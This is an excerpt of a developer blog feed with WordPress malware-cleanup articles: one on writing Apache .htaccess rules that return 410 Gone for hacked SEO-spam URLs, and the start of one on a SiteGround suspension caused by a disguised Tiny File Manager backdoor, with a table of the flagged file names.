&lt;/ul&gt;

&lt;p&gt;Stopping after the malware scan leaves half the job unfinished.&lt;/p&gt;

&lt;p&gt;The full investigation—including the URL patterns, &lt;code&gt;.htaccess&lt;/code&gt; firewall, Search Console removals, and sitemap strategy—is documented in my &lt;a href="https://www.mdpabel.com/case-studies/remove-spam-urls-from-google/" rel="noopener noreferrer"&gt;complete 242,000-URL recovery case study&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>wordpress</category>
      <category>security</category>
      <category>seo</category>
      <category>webdev</category>
    </item>
    <item>
      <title>How I Used 410 Gone Rules to Remove WordPress SEO Spam URLs</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Mon, 20 Jul 2026 08:14:42 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/how-i-used-410-gone-rules-to-remove-wordpress-seo-spam-urls-2gk3</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/how-i-used-410-gone-rules-to-remove-wordpress-seo-spam-urls-2gk3</guid>
      <description>&lt;p&gt;A hacked WordPress website can be cleaned in a few hours, but the damage left in Google may remain much longer.&lt;/p&gt;

&lt;p&gt;In one cleanup, the website looked normal when opened directly. Google Search showed something completely different:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Japanese product pages&lt;/li&gt;
&lt;li&gt;Gambling-related URLs&lt;/li&gt;
&lt;li&gt;Random numerical query parameters&lt;/li&gt;
&lt;li&gt;Fake &lt;code&gt;.html&lt;/code&gt; pages&lt;/li&gt;
&lt;li&gt;Content the website owner had never published&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Approximately 242,000 unwanted URL variations were associated with the incident.&lt;/p&gt;

&lt;p&gt;Removing the malware stopped new pages from being generated, but Google already knew about many of the hacked URLs.&lt;/p&gt;

&lt;p&gt;That created a second problem:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;How do you permanently retire thousands of generated URLs without loading WordPress for every request?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;My solution was to identify repeatable URL patterns and return &lt;strong&gt;410 Gone&lt;/strong&gt; at the Apache level.&lt;/p&gt;

&lt;p&gt;I documented the complete malware and Google index recovery in this &lt;a href="https://www.mdpabel.com/case-studies/remove-spam-urls-from-google/" rel="noopener noreferrer"&gt;WordPress SEO spam cleanup case study&lt;/a&gt;. This article focuses specifically on the server-side implementation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why malware removal was not enough
&lt;/h2&gt;

&lt;p&gt;Suppose malware creates URLs like these:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/?a=839472938
https://example.com/?q=739284729
https://example.com/pages/fake-product.html
https://example.com/jp/random-product/
https://example.com/products/23932
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the malicious PHP is removed, those URLs may stop displaying spam.&lt;/p&gt;

&lt;p&gt;But Googlebot, scrapers, security scanners, and other bots may continue requesting them for months.&lt;/p&gt;

&lt;p&gt;Without a server-level rule, every request might still:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start PHP&lt;/li&gt;
&lt;li&gt;Load WordPress core&lt;/li&gt;
&lt;li&gt;Load active plugins&lt;/li&gt;
&lt;li&gt;Connect to MySQL&lt;/li&gt;
&lt;li&gt;Run database queries&lt;/li&gt;
&lt;li&gt;Load the theme&lt;/li&gt;
&lt;li&gt;Generate a full 404 page&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That is unnecessary work for URLs that should never exist again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I chose 410 Gone
&lt;/h2&gt;

&lt;p&gt;A &lt;code&gt;404 Not Found&lt;/code&gt; response means the server cannot find the requested resource.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;410 Gone&lt;/code&gt; response means the resource was deliberately removed and is not expected to return.&lt;/p&gt;

&lt;p&gt;Both statuses can eventually remove a URL from Google. I used 410 because these URLs were confirmed hacked resources that had no legitimate replacement.&lt;/p&gt;

&lt;p&gt;The important requirements were:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The URL must not return HTTP 200&lt;/li&gt;
&lt;li&gt;The response must not be a soft 404&lt;/li&gt;
&lt;li&gt;Googlebot must be able to crawl the URL&lt;/li&gt;
&lt;li&gt;The status must remain consistent&lt;/li&gt;
&lt;li&gt;Legitimate pages must not match the rule&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A 410 response is not an instant deindexing button. Google still needs to revisit and process the URL.&lt;/p&gt;

&lt;h2&gt;
  
  
  Identify patterns before writing rules
&lt;/h2&gt;

&lt;p&gt;I did not write firewall rules based on one example URL.&lt;/p&gt;

&lt;p&gt;I collected samples from:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Google Search Console&lt;/li&gt;
&lt;li&gt;Google &lt;code&gt;site:&lt;/code&gt; searches&lt;/li&gt;
&lt;li&gt;Search Analytics API exports&lt;/li&gt;
&lt;li&gt;Server access logs&lt;/li&gt;
&lt;li&gt;Existing malicious sitemap files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The samples revealed several repeated structures.&lt;/p&gt;

&lt;h3&gt;
  
  
  Random query parameters
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/?a=839472938
/?q=739284729
/?x=193847293
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Hacked directories
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/pages/fake-product.html
/jp/random-category/
/products/23932
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Spam words inside paths
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/online-casino-offer/
/poker-jackpot/
/viagra-product.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Generated HTML pages
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/random-folder/product-name.html
/pages/discount-item.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rules were based only on patterns confirmed on that particular website.&lt;/p&gt;

&lt;h2&gt;
  
  
  A case-specific Apache firewall
&lt;/h2&gt;

&lt;p&gt;The following is a simplified example.&lt;/p&gt;

&lt;p&gt;Do not copy it unchanged. Back up the existing &lt;code&gt;.htaccess&lt;/code&gt; file and verify that every pattern is malicious on your own site.&lt;/p&gt;

&lt;p&gt;Place the rules before the normal WordPress rewrite block.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="c"&gt;# ----------------------------------------------------------------------&lt;/span&gt;
&lt;span class="c"&gt;# CASE-SPECIFIC WORDPRESS SEO SPAM FIREWALL&lt;/span&gt;
&lt;span class="c"&gt;# ----------------------------------------------------------------------&lt;/span&gt;

&lt;span class="nc"&gt;ErrorDocument&lt;/span&gt; 410 "&amp;lt;h1&amp;gt;410 Gone&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;This hacked spam &lt;span class="ss"&gt;URL&lt;/span&gt; has been permanently removed.&amp;lt;/p&amp;gt;"

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;IfModule&lt;/span&gt;&lt;span class="sr"&gt; mod_rewrite.c&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;span class="nc"&gt;RewriteEngine&lt;/span&gt; &lt;span class="ss"&gt;On&lt;/span&gt;

&lt;span class="c"&gt;# --------------------------------------------------&lt;/span&gt;
&lt;span class="c"&gt;# 1. CONFIRMED RANDOM QUERY PARAMETERS&lt;/span&gt;
&lt;span class="c"&gt;# --------------------------------------------------&lt;/span&gt;

&lt;span class="c"&gt;# Examples:&lt;/span&gt;
&lt;span class="c"&gt;# ?a=12345678&lt;/span&gt;
&lt;span class="c"&gt;# ?q=987654321&lt;/span&gt;

&lt;span class="nc"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (^|&amp;amp;)(?:a|q)=[0-9]{5,}(&amp;amp;|$) [NC]
&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^ - [G,L]

&lt;span class="c"&gt;# --------------------------------------------------&lt;/span&gt;
&lt;span class="c"&gt;# 2. CONFIRMED MALICIOUS DIRECTORIES&lt;/span&gt;
&lt;span class="c"&gt;# --------------------------------------------------&lt;/span&gt;

&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^(?:pages|jp)(?:/|$) - [G,L,NC]
&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^products/[0-9]+(?:/|$) - [G,L,NC]

&lt;span class="c"&gt;# --------------------------------------------------&lt;/span&gt;
&lt;span class="c"&gt;# 3. CONFIRMED SPAM WORDS IN THE PATH&lt;/span&gt;
&lt;span class="c"&gt;# --------------------------------------------------&lt;/span&gt;

&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^.*(?:casino|gambling|viagra|cialis|poker|baccarat|roulette|jackpot).*$ - [G,L,NC]

&lt;span class="c"&gt;# --------------------------------------------------&lt;/span&gt;
&lt;span class="c"&gt;# 4. OPTIONAL HTML RULE&lt;/span&gt;
&lt;span class="c"&gt;# --------------------------------------------------&lt;/span&gt;

&lt;span class="c"&gt;# Enable only when the legitimate website has no real .html URLs.&lt;/span&gt;
&lt;span class="c"&gt;# RewriteRule ^.*\.html$ - [G,L,NC]&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;IfModule&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Apache’s &lt;code&gt;G&lt;/code&gt; flag returns HTTP 410 Gone.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;L&lt;/code&gt; flag stops further rewrite processing for the matching request.&lt;/p&gt;

&lt;h2&gt;
  
  
  Be extremely careful with WordPress &lt;code&gt;?p=&lt;/code&gt; URLs
&lt;/h2&gt;

&lt;p&gt;WordPress uses query URLs like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/?p=123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That can be a legitimate post URL.&lt;/p&gt;

&lt;p&gt;During the incident, some unwanted URLs also used the same structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/?p=23981
/?p=23932
/?p=23919
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Blocking every &lt;code&gt;?p=&lt;/code&gt; request would have been dangerous.&lt;/p&gt;

&lt;p&gt;Before creating a rule, I checked whether the suspicious ID range contained real WordPress content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post_title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post_status&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_posts&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="k"&gt;BETWEEN&lt;/span&gt; &lt;span class="mi"&gt;23000&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="mi"&gt;24999&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="k"&gt;ASC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only after confirming the relevant range did not contain legitimate content could a narrow range rule be considered.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example only: matches p values from 23000 through 24999.&lt;/span&gt;
&lt;span class="nc"&gt;RewriteCond&lt;/span&gt; %{QUERY_STRING} (^|&amp;amp;)p=2[3-4][0-9]{3}(&amp;amp;|$) [NC]
&lt;span class="nc"&gt;RewriteRule&lt;/span&gt; ^ - [G,L]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A safer rule is always better than a broad one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Test the rules with curl
&lt;/h2&gt;

&lt;p&gt;I tested known spam URLs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?a=123456789"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?q=987654321"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/pages/fake-product.html"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/jp/fake-category/"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The expected response was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP/2 410
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I then tested legitimate areas:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/wp-login.php"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/wp-admin/"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?s=wordpress"&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="s2"&gt;"https://example.com/?p=123"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those URLs needed to continue returning their normal status or redirect.&lt;/p&gt;

&lt;p&gt;Never assume a rewrite rule is safe because the syntax is valid.&lt;/p&gt;

&lt;h2&gt;
  
  
  How this reduced server usage
&lt;/h2&gt;

&lt;p&gt;The firewall stopped matching requests before WordPress handled them.&lt;/p&gt;

&lt;p&gt;That meant the server did not need to fully load:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;WordPress core&lt;/li&gt;
&lt;li&gt;Plugins&lt;/li&gt;
&lt;li&gt;Theme files&lt;/li&gt;
&lt;li&gt;Database queries&lt;/li&gt;
&lt;li&gt;A styled 404 template&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The benefit became noticeable because bots continued requesting old hacked URLs after the infection had been removed.&lt;/p&gt;

&lt;p&gt;For a small rule set, &lt;code&gt;.htaccess&lt;/code&gt; can be practical.&lt;/p&gt;

&lt;p&gt;For a very large or high-traffic site, equivalent rules may be better placed in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Apache virtual-host configuration&lt;/li&gt;
&lt;li&gt;Nginx configuration&lt;/li&gt;
&lt;li&gt;Cloudflare&lt;/li&gt;
&lt;li&gt;A web application firewall&lt;/li&gt;
&lt;li&gt;A custom application-level route handler&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Do not block the URLs in robots.txt
&lt;/h2&gt;

&lt;p&gt;Google must request a hacked URL to observe the 404 or 410 response.&lt;/p&gt;

&lt;p&gt;If the URL is blocked in &lt;code&gt;robots.txt&lt;/code&gt;, Googlebot may be unable to see that it has been permanently removed.&lt;/p&gt;

&lt;p&gt;My approach was:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Remove spam URLs from the legitimate sitemap&lt;/li&gt;
&lt;li&gt;Allow Googlebot to request them&lt;/li&gt;
&lt;li&gt;Return 410 for confirmed malicious patterns&lt;/li&gt;
&lt;li&gt;Monitor recrawling through logs and Search Console&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Search Console removal is only temporary
&lt;/h2&gt;

&lt;p&gt;I also used Google Search Console’s Removals tool for urgent suppression.&lt;/p&gt;

&lt;p&gt;For dedicated hacked directories, the option &lt;strong&gt;Remove all URLs with this prefix&lt;/strong&gt; was useful:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/pages/
https://example.com/jp/
https://example.com/products/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, Search Console removal is not the permanent fix.&lt;/p&gt;

&lt;p&gt;The permanent fix was the combination of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Malware removal&lt;/li&gt;
&lt;li&gt;Consistent 410 responses&lt;/li&gt;
&lt;li&gt;A clean sitemap&lt;/li&gt;
&lt;li&gt;Continued monitoring&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Final lesson
&lt;/h2&gt;

&lt;p&gt;The site did not really have 242,000 separately created WordPress pages.&lt;/p&gt;

&lt;p&gt;It had a smaller number of malicious patterns generating thousands of URL variations.&lt;/p&gt;

&lt;p&gt;Once those patterns were identified, the recovery became manageable:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Clean the infection&lt;/li&gt;
&lt;li&gt;Collect URL samples&lt;/li&gt;
&lt;li&gt;Group them by structure&lt;/li&gt;
&lt;li&gt;Confirm that the patterns are not legitimate&lt;/li&gt;
&lt;li&gt;Return 410 before WordPress loads&lt;/li&gt;
&lt;li&gt;Temporarily suppress urgent results&lt;/li&gt;
&lt;li&gt;Monitor Googlebot and server logs&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The full investigation, Search Console workflow, sitemap experiment, and malware-cleanup process are documented in my &lt;a href="https://www.mdpabel.com/case-studies/remove-spam-urls-from-google/" rel="noopener noreferrer"&gt;complete spam URL removal case study&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>wordpress</category>
      <category>security</category>
      <category>seo</category>
      <category>apache</category>
    </item>
    <item>
      <title>SiteGround Suspended a Client Site for Malware — Removing a Tiny File Manager Backdoor (single-compiler.php)</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Fri, 19 Jun 2026 00:23:37 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/siteground-suspended-a-client-site-for-malware-removing-a-tiny-file-manager-backdoor-139</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/siteground-suspended-a-client-site-for-malware-removing-a-tiny-file-manager-backdoor-139</guid>
      <description>&lt;p&gt;&lt;strong&gt;Quick answer:&lt;/strong&gt; SiteGround suspends a site and shows &lt;em&gt;“Malware detected for your site(s)”&lt;/em&gt; when its scanner finds malicious PHP on your hosting. In this cleanup the culprit was &lt;strong&gt;single-compiler.php&lt;/strong&gt; — a renamed copy of the open-source &lt;strong&gt;Tiny File Manager&lt;/strong&gt; hidden inside the WooDmart theme, plus 13 camouflaged secondary backdoors. Removing every flagged file, replacing the theme and core from clean sources, then using SiteGround’s &lt;em&gt;Request Scan&lt;/em&gt; lifted the suspension the same day.&lt;/p&gt;

&lt;p&gt;The two messages that brought this client to me&lt;/p&gt;

&lt;p&gt;Public site: &lt;em&gt;“This site is currently unavailable. If you’re the owner of this website, please contact your hosting provider to get this resolved.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;SiteGround dashboard: &lt;em&gt;“Malware detected for your site(s). Web access for the affected site(s) under your hosting plan has been temporarily suspended until the malware is removed.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A client’s WooCommerce store went dark mid-week. Loading the domain returned a plain SiteGround holding page instead of the storefront, and the SiteGround Client Area showed a red malware notice. This is a walkthrough of exactly what SiteGround flagged, what the malware actually was, how I removed it, and how I got the suspension lifted — written from the real cleanup, not a generic checklist. The specific files differ from site to site; the SiteGround flow and the method below stay the same.&lt;/p&gt;

&lt;h2&gt;
  
  
  Symptom 1: “This site is currently unavailable”
&lt;/h2&gt;

&lt;p&gt;The first thing the client saw was the front end replaced by SiteGround’s suspension page. Unlike a normal WordPress crash, there was no “critical error,” no white screen — just a hosting-level notice with a rain-cloud icon. That distinction matters: when the message reads &lt;em&gt;“If you’re the owner of this website, please contact your hosting provider to get this resolved,”&lt;/em&gt; the problem isn’t in WordPress, it’s that SiteGround has quarantined the account at the server level. Nothing you change in &lt;code&gt;wp-admin&lt;/code&gt; will bring it back, because &lt;code&gt;wp-admin&lt;/code&gt; is offline too.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi8xtj1a1nt9zlad0gznc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi8xtj1a1nt9zlad0gznc.png" alt="SiteGround suspended page reading This site is currently unavailable contact your hosting provider"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The public-facing SiteGround suspension page — the site is quarantined at the server level, not just broken in WordPress.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Symptom 2: “Malware detected for your site(s)” in the SiteGround dashboard
&lt;/h2&gt;

&lt;p&gt;Logging into the SiteGround Client Area, the &lt;strong&gt;Important Notifications&lt;/strong&gt; panel carried the suspension reason: &lt;em&gt;“Malware detected for your site(s). Web access for the affected site(s) under your hosting plan has been temporarily suspended until the malware is removed.”&lt;/em&gt; Next to it sat a &lt;strong&gt;Review&lt;/strong&gt; button.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0r26glk6ybdeduzjs6dn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0r26glk6ybdeduzjs6dn.png" alt="SiteGround dashboard notification Malware detected for your sites web access temporarily suspended"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;SiteGround’s malware notification in the Client Area, with the Review button that opens the evidence.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Clicking &lt;strong&gt;Review&lt;/strong&gt; opens a long advisory (sections like &lt;em&gt;“Take actions to avoid future infection”&lt;/em&gt; and &lt;em&gt;“Using Site Scanner service is highly recommended”&lt;/em&gt;), and at the bottom four buttons: &lt;strong&gt;Close&lt;/strong&gt; , &lt;strong&gt;View Evidence&lt;/strong&gt; , &lt;strong&gt;Request Cleanup&lt;/strong&gt; , and &lt;strong&gt;More&lt;/strong&gt;. &lt;strong&gt;View Evidence&lt;/strong&gt; is the one that matters — it lists the exact files SiteGround’s scanner flagged.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy0r1cmjwrt9hndu26ji5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy0r1cmjwrt9hndu26ji5.png" alt="SiteGround malware review modal with Close View Evidence Request Cleanup and More buttons"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The Review modal. “View Evidence” reveals the flagged file paths; “Request Cleanup” is SiteGround’s paid option.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  The evidence: 14 suspicious files
&lt;/h2&gt;

&lt;p&gt;SiteGround reported &lt;strong&gt;14 suspicious files&lt;/strong&gt; , each with a full server path and a detection timestamp. The list is the real value here — it tells you precisely where to dig instead of scanning blind.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0c9c20o0tkcl3poxp07y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0c9c20o0tkcl3poxp07y.png" alt="SiteGround View Evidence panel showing 14 suspicious files with full server paths"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;SiteGround’s View Evidence panel: 14 suspicious files, each with a full path. Client paths are redacted.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The flagged paths followed an obvious pattern — file names that &lt;em&gt;look&lt;/em&gt; like real WordPress, plugin, and theme files but don’t exist in any clean install:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flagged file&lt;/th&gt;
&lt;th&gt;Where it sat&lt;/th&gt;
&lt;th&gt;What it impersonates&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;single-compiler.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wp-content/themes/woodmart/&lt;/td&gt;
&lt;td&gt;A WooDmart &lt;code&gt;single-*.php&lt;/code&gt; template (the primary backdoor)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;single-portfolio-first.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wp-content/themes/woodmart/&lt;/td&gt;
&lt;td&gt;WooDmart portfolio template&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;embed-merge.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wp-includes/&lt;/td&gt;
&lt;td&gt;WordPress embed code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;border-call.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wp-includes/block-supports/&lt;/td&gt;
&lt;td&gt;Core block-supports &lt;code&gt;border.php&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;class-wp-html-processor-url.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wp-includes/html-api/&lt;/td&gt;
&lt;td&gt;Core &lt;code&gt;class-wp-html-processor.php&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;options-permalink-method.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wp-admin/&lt;/td&gt;
&lt;td&gt;Core &lt;code&gt;options-permalink.php&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;post-types-ajax-response.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wp-content/plugins/woodmart-core/&lt;/td&gt;
&lt;td&gt;WooDmart Core internals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;revslider-beta.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wp-content/plugins/revslider/&lt;/td&gt;
&lt;td&gt;Slider Revolution file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;updraftplus-json.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wp-content/plugins/updraftplus/&lt;/td&gt;
&lt;td&gt;UpdraftPlus file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wp-config-sample.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;public_html/ (root)&lt;/td&gt;
&lt;td&gt;Real WP file — flagged because it had been modified&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
